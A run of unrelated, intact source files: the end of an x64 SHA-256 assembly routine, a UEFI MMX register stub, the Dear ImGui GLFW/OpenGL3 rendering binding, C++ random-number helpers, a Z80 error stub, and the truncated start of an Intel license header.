[rsp+((1024+7-(9+4)) MOD (8))*4] mov [rsp+((1024+7-(9+4)) MOD (8))*4], edi ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add ecx, ebp mov [rsp+((1024+7-(9)) MOD (8))*4], ecx mov edx, [rsp+((1024+7-(10+2)) MOD (8))*4] xor edx, [rsp+((1024+7-(10+1)) MOD (8))*4] and edx, edi xor edx, [rsp+((1024+7-(10+1)) MOD (8))*4] mov ebp, edi ror edi, 6 ror ebp, 25 xor ebp, edi ror edi, 5 xor ebp, edi add edx, ebp mov ebp, [rsp+8*4+((1024+15-((10)-2)) MOD (16))*4] mov edi, [rsp+8*4+((1024+15-((10)-15)) MOD (16))*4] mov ebx, ebp shr ebp, 10 ror ebx, 17 xor ebp, ebx ror ebx, 2 xor ebx, ebp add ebx, [rsp+8*4+((1024+15-((10)-7)) MOD (16))*4] mov ebp, edi shr ebp, 3 ror edi, 7 add ebx, [rsp+8*4+((1024+15-(10)) MOD (16))*4] xor ebp, edi add edx, [rsi+(10)*4] ror edi, 11 add edx, [rsp+((1024+7-(10)) MOD (8))*4] xor ebp, edi add ebp, ebx mov [rsp+8*4+((1024+15-(10)) MOD (16))*4], ebp add edx, ebp mov ebx, ecx xor ecx, [rsp+((1024+7-(10+6)) MOD (8))*4] and eax, ecx xor eax, [rsp+((1024+7-(10+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add eax, edx add edx, [rsp+((1024+7-(10+4)) MOD (8))*4] mov [rsp+((1024+7-(10+4)) MOD (8))*4], edx ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add eax, ebp mov [rsp+((1024+7-(10)) MOD (8))*4], eax mov edi, [rsp+((1024+7-(11+2)) MOD (8))*4] xor edi, [rsp+((1024+7-(11+1)) MOD (8))*4] and edi, edx xor edi, [rsp+((1024+7-(11+1)) MOD (8))*4] mov ebp, edx ror edx, 6 ror ebp, 25 xor ebp, edx ror edx, 5 xor ebp, edx add edi, ebp mov ebp, [rsp+8*4+((1024+15-((11)-2)) MOD (16))*4] mov edx, [rsp+8*4+((1024+15-((11)-15)) MOD (16))*4] mov ebx, ebp shr ebp, 10 ror ebx, 17 xor ebp, ebx ror ebx, 2 xor ebx, ebp add ebx, [rsp+8*4+((1024+15-((11)-7)) MOD (16))*4] mov ebp, edx shr ebp, 3 ror edx, 7 add ebx, [rsp+8*4+((1024+15-(11)) MOD (16))*4] xor ebp, edx add edi, [rsi+(11)*4] ror edx, 11 add edi, [rsp+((1024+7-(11)) MOD (8))*4] xor ebp, edx add ebp, ebx mov [rsp+8*4+((1024+15-(11)) MOD (16))*4], ebp add edi, ebp mov ebx, eax xor eax, [rsp+((1024+7-(11+6)) MOD (8))*4] and ecx, eax xor ecx, [rsp+((1024+7-(11+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add ecx, edi add edi, [rsp+((1024+7-(11+4)) MOD (8))*4] mov [rsp+((1024+7-(11+4)) MOD (8))*4], edi ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add ecx, ebp mov [rsp+((1024+7-(11)) MOD (8))*4], ecx mov edx, [rsp+((1024+7-(12+2)) MOD (8))*4] xor edx, [rsp+((1024+7-(12+1)) MOD (8))*4] and edx, edi xor edx, [rsp+((1024+7-(12+1)) MOD (8))*4] mov ebp, edi ror edi, 6 ror ebp, 25 xor ebp, edi ror edi, 5 xor ebp, edi add edx, ebp mov ebp, [rsp+8*4+((1024+15-((12)-2)) MOD (16))*4] mov edi, [rsp+8*4+((1024+15-((12)-15)) MOD (16))*4] mov ebx, ebp shr ebp, 10 ror ebx, 17 xor ebp, ebx ror ebx, 2 xor ebx, ebp add ebx, [rsp+8*4+((1024+15-((12)-7)) MOD (16))*4] mov ebp, edi shr ebp, 3 ror edi, 7 add ebx, [rsp+8*4+((1024+15-(12)) MOD (16))*4] xor ebp, edi add edx, [rsi+(12)*4] ror edi, 11 add edx, [rsp+((1024+7-(12)) MOD (8))*4] xor ebp, edi add ebp, ebx mov [rsp+8*4+((1024+15-(12)) MOD (16))*4], ebp add edx, ebp mov ebx, ecx xor ecx, [rsp+((1024+7-(12+6)) MOD (8))*4] and eax, ecx xor eax, [rsp+((1024+7-(12+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add eax, edx add edx, [rsp+((1024+7-(12+4)) MOD (8))*4] mov [rsp+((1024+7-(12+4)) MOD (8))*4], edx ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add eax, ebp mov [rsp+((1024+7-(12)) MOD (8))*4], eax mov edi, [rsp+((1024+7-(13+2)) MOD (8))*4] xor edi, [rsp+((1024+7-(13+1)) MOD (8))*4] and edi, edx xor edi, [rsp+((1024+7-(13+1)) MOD (8))*4] mov ebp, edx ror edx, 6 ror ebp, 25 xor ebp, edx ror edx, 5 xor ebp, edx add edi, ebp mov ebp, [rsp+8*4+((1024+15-((13)-2)) MOD (16))*4] mov edx, [rsp+8*4+((1024+15-((13)-15)) MOD (16))*4] mov ebx, ebp shr ebp, 10 ror ebx, 17 xor ebp, ebx ror ebx, 2 xor ebx, ebp add ebx, [rsp+8*4+((1024+15-((13)-7)) MOD (16))*4] mov ebp, edx shr ebp, 3 ror edx, 7 add ebx, [rsp+8*4+((1024+15-(13)) MOD (16))*4] xor ebp, edx add edi, [rsi+(13)*4] ror edx, 11 add edi, [rsp+((1024+7-(13)) MOD (8))*4] xor ebp, edx add ebp, ebx mov [rsp+8*4+((1024+15-(13)) MOD (16))*4], ebp add edi, ebp mov ebx, eax xor eax, [rsp+((1024+7-(13+6)) MOD (8))*4] and ecx, eax xor ecx, [rsp+((1024+7-(13+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add ecx, edi add edi, [rsp+((1024+7-(13+4)) MOD (8))*4] mov [rsp+((1024+7-(13+4)) MOD (8))*4], edi ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add ecx, ebp mov [rsp+((1024+7-(13)) MOD (8))*4], ecx mov edx, [rsp+((1024+7-(14+2)) MOD (8))*4] xor edx, [rsp+((1024+7-(14+1)) MOD (8))*4] and edx, edi xor edx, [rsp+((1024+7-(14+1)) MOD (8))*4] mov ebp, edi ror edi, 6 ror ebp, 25 xor ebp, edi ror edi, 5 xor ebp, edi add edx, ebp mov ebp, [rsp+8*4+((1024+15-((14)-2)) MOD (16))*4] mov edi, [rsp+8*4+((1024+15-((14)-15)) MOD (16))*4] mov ebx, ebp shr ebp, 10 ror ebx, 17 xor ebp, ebx ror ebx, 2 xor ebx, ebp add ebx, [rsp+8*4+((1024+15-((14)-7)) MOD (16))*4] mov ebp, edi shr ebp, 3 ror edi, 7 add ebx, [rsp+8*4+((1024+15-(14)) MOD (16))*4] xor ebp, edi add edx, [rsi+(14)*4] ror edi, 11 add edx, [rsp+((1024+7-(14)) MOD (8))*4] xor ebp, edi add ebp, ebx mov [rsp+8*4+((1024+15-(14)) MOD (16))*4], ebp add edx, ebp mov ebx, ecx xor ecx, [rsp+((1024+7-(14+6)) MOD (8))*4] and eax, ecx xor eax, [rsp+((1024+7-(14+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add eax, edx add edx, [rsp+((1024+7-(14+4)) MOD (8))*4] mov [rsp+((1024+7-(14+4)) MOD (8))*4], edx ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add eax, ebp mov [rsp+((1024+7-(14)) MOD (8))*4], eax mov edi, [rsp+((1024+7-(15+2)) MOD (8))*4] xor edi, [rsp+((1024+7-(15+1)) MOD (8))*4] and edi, edx xor edi, [rsp+((1024+7-(15+1)) MOD (8))*4] mov ebp, edx ror edx, 6 ror ebp, 25 xor ebp, edx ror edx, 5 xor ebp, edx add edi, ebp mov ebp, [rsp+8*4+((1024+15-((15)-2)) MOD (16))*4] mov edx, [rsp+8*4+((1024+15-((15)-15)) MOD (16))*4] mov ebx, ebp shr ebp, 10 ror ebx, 17 xor ebp, ebx ror ebx, 2 xor ebx, ebp add ebx, [rsp+8*4+((1024+15-((15)-7)) MOD (16))*4] mov ebp, edx shr ebp, 3 ror edx, 7 add ebx, [rsp+8*4+((1024+15-(15)) MOD (16))*4] xor ebp, edx add edi, [rsi+(15)*4] ror edx, 11 add edi, [rsp+((1024+7-(15)) MOD (8))*4] xor ebp, edx add ebp, ebx mov [rsp+8*4+((1024+15-(15)) MOD (16))*4], ebp add edi, ebp mov ebx, eax xor eax, [rsp+((1024+7-(15+6)) MOD (8))*4] and ecx, eax xor ecx, [rsp+((1024+7-(15+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add ecx, edi add edi, [rsp+((1024+7-(15+4)) MOD (8))*4] mov [rsp+((1024+7-(15+4)) MOD (8))*4], edi ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add ecx, ebp mov [rsp+((1024+7-(15)) MOD (8))*4], ecx cmp rsi, [rsp+8*4+16*4+0*8] jne label1 mov rcx, [rsp+8*4+16*4+1*8] movdqa xmm1, XMMWORD PTR [rcx+1*16] movdqa xmm0, XMMWORD PTR [rcx+0*16] paddd xmm1, [rsp+((1024+7-(0+3)) MOD (8))*4] paddd xmm0, [rsp+((1024+7-(0+7)) MOD (8))*4] movdqa [rcx+1*16], xmm1 movdqa [rcx+0*16], xmm0 mov rdx, [rsp+8*4+16*4+2*8] add rdx, 64 mov [rsp+8*4+16*4+2*8], rdx cmp rdx, [rsp+8*4+16*4+3*8] jne label0 add rsp, 8*4 + 16*4 + 4*8 + 8 pop rbp pop rbx pop rdi pop rsi ret SHA256_HashMultipleBlocks_SSE2 ENDP ALIGN 8 XGETBV64 PROC ;; First paramter is RCX, and xgetbv expects the CTRL in ECX ;; http://www.agner.org/optimize/vectorclass/read.php?i=65 DB 0fh, 01h, 0d0h ;; xcr = (EDX << 32) | EAX and rax, 0ffffffffh shl rdx, 32 or rax, rdx ret XGETBV64 ENDP _TEXT ENDS END
;------------------------------------------------------------------------------ ; ; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR> ; This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distribution. The full text of the license may be found at ; http://opensource.org/licenses/bsd-license.php. ; ; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, ; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. ; ; Module Name: ; ; WriteMm1.Asm ; ; Abstract: ; ; AsmWriteMm1 function ; ; Notes: ; ;------------------------------------------------------------------------------ .code ;------------------------------------------------------------------------------ ; VOID ; EFIAPI ; AsmWriteMm1 ( ; IN UINT64 Value ; ); ;------------------------------------------------------------------------------ AsmWriteMm1 PROC ; ; 64-bit MASM doesn't support MMX instructions, so use opcode here ; DB 48h, 0fh, 6eh, 0c9h ret AsmWriteMm1 ENDP END
// ImGui GLFW binding with OpenGL3 + shaders // In this binding, ImTextureID is used to store an OpenGL 'GLuint' texture identifier. Read the FAQ about ImTextureID in imgui.cpp. // You can copy and use unmodified imgui_impl_* files in your project. See main.cpp for an example of using this. // If you use this binding you'll need to call 4 functions: ImGui_ImplXXXX_Init(), ImGui_ImplXXXX_NewFrame(), ImGui::Render() and ImGui_ImplXXXX_Shutdown(). // If you are new to ImGui, see examples/README.txt and documentation at the top of imgui.cpp. // https://github.com/ocornut/imgui #include <imgui.h> #include "imgui_impl_glfw_gl3.h" // GL3W/GLFW #include <GL/gl3w.h> #include <GLFW/glfw3.h> #ifdef _WIN32 #undef APIENTRY #define GLFW_EXPOSE_NATIVE_WIN32 #define GLFW_EXPOSE_NATIVE_WGL #include <GLFW/glfw3native.h> #endif // Data static GLFWwindow* g_Window = NULL; static double g_Time = 0.0f; static bool g_MousePressed[3] = { false, false, false }; static float g_MouseWheel = 0.0f; static GLuint g_FontTexture = 0; static int g_ShaderHandle = 0, g_VertHandle = 0, g_FragHandle = 0; static int g_AttribLocationTex = 0, g_AttribLocationProjMtx = 0; static int g_AttribLocationPosition = 0, g_AttribLocationUV = 0, g_AttribLocationColor = 0; static unsigned int g_VboHandle = 0, g_VaoHandle = 0, g_ElementsHandle = 0; // This is the main rendering function that you have to implement and provide to ImGui (via setting up 'RenderDrawListsFn' in the ImGuiIO structure) // If text or lines are blurry when integrating ImGui in your engine: // - in your Render function, try translating your projection matrix by (0.5f,0.5f) or (0.375f,0.375f) void ImGui_ImplGlfwGL3_RenderDrawLists(ImDrawData* draw_data) { // Avoid rendering when minimized, scale coordinates for retina displays (screen coordinates != framebuffer coordinates) ImGuiIO& io = ImGui::GetIO(); int fb_width = (int)(io.DisplaySize.x * io.DisplayFramebufferScale.x); int fb_height = (int)(io.DisplaySize.y * io.DisplayFramebufferScale.y); if (fb_width == 0 || fb_height == 0) return; draw_data->ScaleClipRects(io.DisplayFramebufferScale); // Backup GL state GLint last_program; glGetIntegerv(GL_CURRENT_PROGRAM, &last_program); GLint last_texture; glGetIntegerv(GL_TEXTURE_BINDING_2D, &last_texture); GLint last_active_texture; glGetIntegerv(GL_ACTIVE_TEXTURE, &last_active_texture); GLint last_array_buffer; glGetIntegerv(GL_ARRAY_BUFFER_BINDING, &last_array_buffer); GLint last_element_array_buffer; glGetIntegerv(GL_ELEMENT_ARRAY_BUFFER_BINDING, &last_element_array_buffer); GLint last_vertex_array; glGetIntegerv(GL_VERTEX_ARRAY_BINDING, &last_vertex_array); GLint last_blend_src; glGetIntegerv(GL_BLEND_SRC, &last_blend_src); GLint last_blend_dst; glGetIntegerv(GL_BLEND_DST, &last_blend_dst); GLint last_blend_equation_rgb; glGetIntegerv(GL_BLEND_EQUATION_RGB, &last_blend_equation_rgb); GLint last_blend_equation_alpha; glGetIntegerv(GL_BLEND_EQUATION_ALPHA, &last_blend_equation_alpha); GLint last_viewport[4]; glGetIntegerv(GL_VIEWPORT, last_viewport); GLint last_scissor_box[4]; glGetIntegerv(GL_SCISSOR_BOX, last_scissor_box); GLboolean last_enable_blend = glIsEnabled(GL_BLEND); GLboolean last_enable_cull_face = glIsEnabled(GL_CULL_FACE); GLboolean last_enable_depth_test = glIsEnabled(GL_DEPTH_TEST); GLboolean last_enable_scissor_test = glIsEnabled(GL_SCISSOR_TEST); // Setup render state: alpha-blending enabled, no face culling, no depth testing, scissor enabled glEnable(GL_BLEND); glBlendEquation(GL_FUNC_ADD); glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); glDisable(GL_CULL_FACE); glDisable(GL_DEPTH_TEST); glEnable(GL_SCISSOR_TEST); glActiveTexture(GL_TEXTURE0); // Setup viewport, orthographic projection matrix glViewport(0, 0, (GLsizei)fb_width, (GLsizei)fb_height); const float ortho_projection[4][4] = { { 2.0f/io.DisplaySize.x, 0.0f, 0.0f, 0.0f }, { 0.0f, 2.0f/-io.DisplaySize.y, 0.0f, 0.0f }, { 0.0f, 0.0f, -1.0f, 0.0f }, {-1.0f, 1.0f, 0.0f, 1.0f }, }; glUseProgram(g_ShaderHandle); glUniform1i(g_AttribLocationTex, 0); glUniformMatrix4fv(g_AttribLocationProjMtx, 1, GL_FALSE, &ortho_projection[0][0]); glBindVertexArray(g_VaoHandle); for (int n = 0; n < draw_data->CmdListsCount; n++) { const ImDrawList* cmd_list = draw_data->CmdLists[n]; const ImDrawIdx* idx_buffer_offset = 0; glBindBuffer(GL_ARRAY_BUFFER, g_VboHandle); glBufferData(GL_ARRAY_BUFFER, (GLsizeiptr)cmd_list->VtxBuffer.Size * sizeof(ImDrawVert), (const GLvoid*)cmd_list->VtxBuffer.Data, GL_STREAM_DRAW); glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, g_ElementsHandle); glBufferData(GL_ELEMENT_ARRAY_BUFFER, (GLsizeiptr)cmd_list->IdxBuffer.Size * sizeof(ImDrawIdx), (const GLvoid*)cmd_list->IdxBuffer.Data, GL_STREAM_DRAW); for (int cmd_i = 0; cmd_i < cmd_list->CmdBuffer.Size; cmd_i++) { const ImDrawCmd* pcmd = &cmd_list->CmdBuffer[cmd_i]; if (pcmd->UserCallback) { pcmd->UserCallback(cmd_list, pcmd); } else { glBindTexture(GL_TEXTURE_2D, (GLuint)(intptr_t)pcmd->TextureId); glScissor((int)pcmd->ClipRect.x, (int)(fb_height - pcmd->ClipRect.w), (int)(pcmd->ClipRect.z - pcmd->ClipRect.x), (int)(pcmd->ClipRect.w - pcmd->ClipRect.y)); glDrawElements(GL_TRIANGLES, (GLsizei)pcmd->ElemCount, sizeof(ImDrawIdx) == 2 ? GL_UNSIGNED_SHORT : GL_UNSIGNED_INT, idx_buffer_offset); } idx_buffer_offset += pcmd->ElemCount; } } // Restore modified GL state glUseProgram(last_program); glActiveTexture(last_active_texture); glBindTexture(GL_TEXTURE_2D, last_texture); glBindVertexArray(last_vertex_array); glBindBuffer(GL_ARRAY_BUFFER, last_array_buffer); glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, last_element_array_buffer); glBlendEquationSeparate(last_blend_equation_rgb, last_blend_equation_alpha); glBlendFunc(last_blend_src, last_blend_dst); if (last_enable_blend) glEnable(GL_BLEND); else glDisable(GL_BLEND); if (last_enable_cull_face) glEnable(GL_CULL_FACE); else glDisable(GL_CULL_FACE); if (last_enable_depth_test) glEnable(GL_DEPTH_TEST); else glDisable(GL_DEPTH_TEST); if (last_enable_scissor_test) glEnable(GL_SCISSOR_TEST); else glDisable(GL_SCISSOR_TEST); glViewport(last_viewport[0], last_viewport[1], (GLsizei)last_viewport[2], (GLsizei)last_viewport[3]); glScissor(last_scissor_box[0], last_scissor_box[1], (GLsizei)last_scissor_box[2], (GLsizei)last_scissor_box[3]); } static const char* ImGui_ImplGlfwGL3_GetClipboardText(void* user_data) { return glfwGetClipboardString((GLFWwindow*)user_data); } static void ImGui_ImplGlfwGL3_SetClipboardText(void* user_data, const char* text) { glfwSetClipboardString((GLFWwindow*)user_data, text); } void ImGui_ImplGlfwGL3_MouseButtonCallback(GLFWwindow*, int button, int action, int /*mods*/) { if (action == GLFW_PRESS && button >= 0 && button < 3) g_MousePressed[button] = true; } void ImGui_ImplGlfwGL3_ScrollCallback(GLFWwindow*, double /*xoffset*/, double yoffset) { g_MouseWheel += (float)yoffset; // Use fractional mouse wheel, 1.0 unit 5 lines. } void ImGui_ImplGlfwGL3_KeyCallback(GLFWwindow*, int key, int, int action, int mods) { ImGuiIO& io = ImGui::GetIO(); if (action == GLFW_PRESS) io.KeysDown[key] = true; if (action == GLFW_RELEASE) io.KeysDown[key] = false; (void)mods; // Modifiers are not reliable across systems io.KeyCtrl = io.KeysDown[GLFW_KEY_LEFT_CONTROL] || io.KeysDown[GLFW_KEY_RIGHT_CONTROL]; io.KeyShift = io.KeysDown[GLFW_KEY_LEFT_SHIFT] || io.KeysDown[GLFW_KEY_RIGHT_SHIFT]; io.KeyAlt = io.KeysDown[GLFW_KEY_LEFT_ALT] || io.KeysDown[GLFW_KEY_RIGHT_ALT]; io.KeySuper = io.KeysDown[GLFW_KEY_LEFT_SUPER] || io.KeysDown[GLFW_KEY_RIGHT_SUPER]; } void ImGui_ImplGlfwGL3_CharCallback(GLFWwindow*, unsigned int c) { ImGuiIO& io = ImGui::GetIO(); if (c > 0 && c < 0x10000) io.AddInputCharacter((unsigned short)c); } bool ImGui_ImplGlfwGL3_CreateFontsTexture() { // Build texture atlas ImGuiIO& io = ImGui::GetIO(); unsigned char* pixels; int width, height; io.Fonts->GetTexDataAsRGBA32(&pixels, &width, &height); // Load as RGBA 32-bits (75% of the memory is wasted, but default font is so small) because it is more likely to be compatible with user's existing shaders. If your ImTextureId represent a higher-level concept than just a GL texture id, consider calling GetTexDataAsAlpha8() instead to save on GPU memory. // Upload texture to graphics system GLint last_texture; glGetIntegerv(GL_TEXTURE_BINDING_2D, &last_texture); glGenTextures(1, &g_FontTexture); glBindTexture(GL_TEXTURE_2D, g_FontTexture); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR); glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, width, height, 0, GL_RGBA, GL_UNSIGNED_BYTE, pixels); // Store our identifier io.Fonts->TexID = (void *)(intptr_t)g_FontTexture; // Restore state glBindTexture(GL_TEXTURE_2D, last_texture); return true; } bool ImGui_ImplGlfwGL3_CreateDeviceObjects() { // Backup GL state GLint last_texture, last_array_buffer, last_vertex_array; glGetIntegerv(GL_TEXTURE_BINDING_2D, &last_texture); glGetIntegerv(GL_ARRAY_BUFFER_BINDING, &last_array_buffer); glGetIntegerv(GL_VERTEX_ARRAY_BINDING, &last_vertex_array); const GLchar *vertex_shader = "#version 330\n" "uniform mat4 ProjMtx;\n" "in vec2 Position;\n" "in vec2 UV;\n" "in vec4 Color;\n" "out vec2 Frag_UV;\n" "out vec4 Frag_Color;\n" "void main()\n" "{\n" " Frag_UV = UV;\n" " Frag_Color = Color;\n" " gl_Position = ProjMtx * vec4(Position.xy,0,1);\n" "}\n"; const GLchar* fragment_shader = "#version 330\n" "uniform sampler2D Texture;\n" "in vec2 Frag_UV;\n" "in vec4 Frag_Color;\n" "out vec4 Out_Color;\n" "void main()\n" "{\n" " Out_Color = Frag_Color * texture( Texture, Frag_UV.st);\n" "}\n"; g_ShaderHandle = glCreateProgram(); g_VertHandle = glCreateShader(GL_VERTEX_SHADER); g_FragHandle = glCreateShader(GL_FRAGMENT_SHADER); glShaderSource(g_VertHandle, 1, &vertex_shader, 0); glShaderSource(g_FragHandle, 1, &fragment_shader, 0); glCompileShader(g_VertHandle); glCompileShader(g_FragHandle); glAttachShader(g_ShaderHandle, g_VertHandle); glAttachShader(g_ShaderHandle, g_FragHandle); glLinkProgram(g_ShaderHandle); g_AttribLocationTex = glGetUniformLocation(g_ShaderHandle, "Texture"); g_AttribLocationProjMtx = glGetUniformLocation(g_ShaderHandle, "ProjMtx"); g_AttribLocationPosition = glGetAttribLocation(g_ShaderHandle, "Position"); g_AttribLocationUV = glGetAttribLocation(g_ShaderHandle, "UV"); g_AttribLocationColor = glGetAttribLocation(g_ShaderHandle, "Color"); glGenBuffers(1, &g_VboHandle); glGenBuffers(1, &g_ElementsHandle); glGenVertexArrays(1, &g_VaoHandle); glBindVertexArray(g_VaoHandle); glBindBuffer(GL_ARRAY_BUFFER, g_VboHandle); glEnableVertexAttribArray(g_AttribLocationPosition); glEnableVertexAttribArray(g_AttribLocationUV); glEnableVertexAttribArray(g_AttribLocationColor); #define OFFSETOF(TYPE, ELEMENT) ((size_t)&(((TYPE *)0)->ELEMENT)) glVertexAttribPointer(g_AttribLocationPosition, 2, GL_FLOAT, GL_FALSE, sizeof(ImDrawVert), (GLvoid*)OFFSETOF(ImDrawVert, pos)); glVertexAttribPointer(g_AttribLocationUV, 2, GL_FLOAT, GL_FALSE, sizeof(ImDrawVert), (GLvoid*)OFFSETOF(ImDrawVert, uv)); glVertexAttribPointer(g_AttribLocationColor, 4, GL_UNSIGNED_BYTE, GL_TRUE, sizeof(ImDrawVert), (GLvoid*)OFFSETOF(ImDrawVert, col)); #undef OFFSETOF ImGui_ImplGlfwGL3_CreateFontsTexture(); // Restore modified GL state glBindTexture(GL_TEXTURE_2D, last_texture); glBindBuffer(GL_ARRAY_BUFFER, last_array_buffer); glBindVertexArray(last_vertex_array); return true; } void ImGui_ImplGlfwGL3_InvalidateDeviceObjects() { if (g_VaoHandle) glDeleteVertexArrays(1, &g_VaoHandle); if (g_VboHandle) glDeleteBuffers(1, &g_VboHandle); if (g_ElementsHandle) glDeleteBuffers(1, &g_ElementsHandle); g_VaoHandle = g_VboHandle = g_ElementsHandle = 0; if (g_ShaderHandle && g_VertHandle) glDetachShader(g_ShaderHandle, g_VertHandle); if (g_VertHandle) glDeleteShader(g_VertHandle); g_VertHandle = 0; if (g_ShaderHandle && g_FragHandle) glDetachShader(g_ShaderHandle, g_FragHandle); if (g_FragHandle) glDeleteShader(g_FragHandle); g_FragHandle = 0; if (g_ShaderHandle) glDeleteProgram(g_ShaderHandle); g_ShaderHandle = 0; if (g_FontTexture) { glDeleteTextures(1, &g_FontTexture); ImGui::GetIO().Fonts->TexID = 0; g_FontTexture = 0; } } bool ImGui_ImplGlfwGL3_Init(GLFWwindow* window, bool install_callbacks) { g_Window = window; ImGuiIO& io = ImGui::GetIO(); io.KeyMap[ImGuiKey_Tab] = GLFW_KEY_TAB; // Keyboard mapping. ImGui will use those indices to peek into the io.KeyDown[] array. io.KeyMap[ImGuiKey_LeftArrow] = GLFW_KEY_LEFT; io.KeyMap[ImGuiKey_RightArrow] = GLFW_KEY_RIGHT; io.KeyMap[ImGuiKey_UpArrow] = GLFW_KEY_UP; io.KeyMap[ImGuiKey_DownArrow] = GLFW_KEY_DOWN; io.KeyMap[ImGuiKey_PageUp] = GLFW_KEY_PAGE_UP; io.KeyMap[ImGuiKey_PageDown] = GLFW_KEY_PAGE_DOWN; io.KeyMap[ImGuiKey_Home] = GLFW_KEY_HOME; io.KeyMap[ImGuiKey_End] = GLFW_KEY_END; io.KeyMap[ImGuiKey_Delete] = GLFW_KEY_DELETE; io.KeyMap[ImGuiKey_Backspace] = GLFW_KEY_BACKSPACE; io.KeyMap[ImGuiKey_Enter] = GLFW_KEY_ENTER; io.KeyMap[ImGuiKey_Escape] = GLFW_KEY_ESCAPE; io.KeyMap[ImGuiKey_A] = GLFW_KEY_A; io.KeyMap[ImGuiKey_C] = GLFW_KEY_C; io.KeyMap[ImGuiKey_V] = GLFW_KEY_V; io.KeyMap[ImGuiKey_X] = GLFW_KEY_X; io.KeyMap[ImGuiKey_Y] = GLFW_KEY_Y; io.KeyMap[ImGuiKey_Z] = GLFW_KEY_Z; io.RenderDrawListsFn = ImGui_ImplGlfwGL3_RenderDrawLists; // Alternatively you can set this to NULL and call ImGui::GetDrawData() after ImGui::Render() to get the same ImDrawData pointer. io.SetClipboardTextFn = ImGui_ImplGlfwGL3_SetClipboardText; io.GetClipboardTextFn = ImGui_ImplGlfwGL3_GetClipboardText; io.ClipboardUserData = g_Window; #ifdef _WIN32 io.ImeWindowHandle = glfwGetWin32Window(g_Window); #endif if (install_callbacks) { glfwSetMouseButtonCallback(window, ImGui_ImplGlfwGL3_MouseButtonCallback); glfwSetScrollCallback(window, ImGui_ImplGlfwGL3_ScrollCallback); glfwSetKeyCallback(window, ImGui_ImplGlfwGL3_KeyCallback); glfwSetCharCallback(window, ImGui_ImplGlfwGL3_CharCallback); } return true; } void ImGui_ImplGlfwGL3_Shutdown() { ImGui_ImplGlfwGL3_InvalidateDeviceObjects(); ImGui::Shutdown(); } void ImGui_ImplGlfwGL3_NewFrame() { if (!g_FontTexture) ImGui_ImplGlfwGL3_CreateDeviceObjects(); ImGuiIO& io = ImGui::GetIO(); // Setup display size (every frame to accommodate for window resizing) int w, h; int display_w, display_h; glfwGetWindowSize(g_Window, &w, &h); glfwGetFramebufferSize(g_Window, &display_w, &display_h); io.DisplaySize = ImVec2((float)w, (float)h); io.DisplayFramebufferScale = ImVec2(w > 0 ? ((float)display_w / w) : 0, h > 0 ? ((float)display_h / h) : 0); // Setup time step double current_time = glfwGetTime(); io.DeltaTime = g_Time > 0.0 ? (float)(current_time - g_Time) : (float)(1.0f/60.0f); g_Time = current_time; // Setup inputs // (we already got mouse wheel, keyboard keys & characters from glfw callbacks polled in glfwPollEvents()) if (glfwGetWindowAttrib(g_Window, GLFW_FOCUSED)) { double mouse_x, mouse_y; glfwGetCursorPos(g_Window, &mouse_x, &mouse_y); io.MousePos = ImVec2((float)mouse_x, (float)mouse_y); // Mouse position in screen coordinates (set to -1,-1 if no mouse / on another screen, etc.) } else { io.MousePos = ImVec2(-1,-1); } for (int i = 0; i < 3; i++) { io.MouseDown[i] = g_MousePressed[i] || glfwGetMouseButton(g_Window, i) != 0; // If a mouse press event came, always pass it as "mouse held this frame", so we don't miss click-release events that are shorter than 1 frame. g_MousePressed[i] = false; } io.MouseWheel = g_MouseWheel; g_MouseWheel = 0.0f; // Hide OS mouse cursor if ImGui is drawing it glfwSetInputMode(g_Window, GLFW_CURSOR, io.MouseDrawCursor ? GLFW_CURSOR_HIDDEN : GLFW_CURSOR_NORMAL); // Start the frame ImGui::NewFrame(); }
#include "utils.h" #include <random> static std::mt19937 static_gen; int singleeyefitter::random(int min, int max) { std::uniform_int_distribution<> distribution(min, max); return distribution(static_gen); } int singleeyefitter::random(int min, int max, unsigned int seed) { std::mt19937 gen(seed); std::uniform_int_distribution<> distribution(min, max); return distribution(gen); } double singleeyefitter::random(double min, double max) { std::uniform_real_distribution<> distribution(min, max); return distribution(static_gen); } double singleeyefitter::random(double min, double max, unsigned int seed) { std::mt19937 gen(seed); std::uniform_real_distribution<> distribution(min, max); return distribution(gen); }
SECTION code_error PUBLIC error_lzc EXTERN error_zc pop hl error_lzc: ; set dehl = 0 ; set carry flag ld de,0 jp error_zc
############################################################################### # Copyright 2019 Intel Corporation # All Rights Reserved. # # If this software was obtained under the Intel Simplified Software License, # the following terms apply: # # The source code, information and material ("Material") contained herein is # owned by Intel Corporation or its suppliers or licensors, and title to such # Material remains with Intel Corporation or its suppliers or licensors. The # Material contains proprietary information of Intel or its suppliers and # licensors. The Material is protected by worldwide copyright laws and treaty # provisions. No part of the Material may be used, copied, reproduced, # modified, published, uploaded, posted, transmitted, distributed or disclosed # in any way without Intel's prior express written permission. No license under # any patent, copyright or other intellectual property rights in the Material # is granted to or conferred upon you, either expressly, by implication, # inducement, estoppel or otherwise. Any license under such intellectual # property rights must be express and approved by Intel in writing. # # Unless otherwise agreed by Intel in writing, you may not remove or alter this # notice or any other notice embedded in Materials by Intel or Intel's # suppliers or licensors in any way. # # # If this software was 